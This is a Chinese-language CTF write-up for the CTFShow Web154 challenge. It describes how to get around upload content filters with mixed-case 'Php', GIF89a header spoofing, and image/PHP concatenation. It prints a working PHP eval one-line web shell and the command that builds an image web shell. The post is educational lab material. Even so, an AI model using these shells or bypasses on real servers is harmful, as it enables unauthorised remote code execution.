CTFShow-Web154:需绕过简单过滤的文件上传漏洞

CTFShow-Web154:需绕过简单过滤的文件上传漏洞.md

🛠️ Web154题解

对于上传文件内容做了简单过滤,不能包括php,可以将一句话木马中的php改为Php绕过,其余步骤和Web153一致。

📝 图片马内容检测绕过方法

这里介绍几种图片马内容检测绕过方法

1️⃣ 更换木马形式

一种常见的绕过方式是修改木马的格式和编码方式。例如,利用 eval() 执行动态代码:

<?=@eval($_POST['pass']);?>

通过修改木马脚本的格式,攻击者可以绕过部分防护机制,尤其是当上传文件时服务器只进行简单的格式过滤,而未对内容进行深度分析时。

2️⃣ 文件头检测绕过

当网站的文件上传功能进行了文件格式校验(例如,检查图片的 MIME 类型、文件扩展名等),绕过这些检测变得相对复杂。在这种情况下,攻击者可以尝试绕过文件内容检测,特别是通过修改文件的头部信息。

解决方法1:添加图片文件头到木马文件

有时,文件头信息是检测文件类型的关键。若文件头不匹配,服务器可能拒绝上传或无法执行。攻击者可以将恶意代码嵌入合法图片文件的头部,从而绕过检测。

例如,攻击者可以在木马代码前面添加合法的图片文件头,如 GIF89a,使其看起来像一张图片:

GIF89a? <?=@eval($_POST['pass']);?>

这样,服务器可能将其识别为合法的 GIF 图片文件,从而允许上传,但实际内容依然是执行恶意脚本。

文件头对照参考CSDN 文件头参考链接 https://blog.csdn.net/rrrfff/article/details/7484109

解决方法2:图片与木马文件结合

另一种绕过方法是将一张图片与木马文件结合。制作方法有以下几种:

​ 1. 文本方式打开:使用记事本打开图片文件,在末尾粘贴一句话木马。

​ 2. CMD命令:在命令行中使用以下命令将图片与木马文件结合:

copy 1.jpg/b+2.php 3.jpg

​ • /b 代表二进制形式打开。

​ • /a 代表 ASCII 方式打开。

​ 3. 16进制编辑:使用 16 进制编辑器打开图片文件,在末尾添加一句话木马。

​ 4. PS

​ 详细的操作步骤可以参考:做一个图片马的四种方法(详细步骤) https://www.cnblogs.com/1ink/p/15101706.html

posted @ 2025-02-06 16:52  Zebra233  阅读(117)  评论(0)    收藏  举报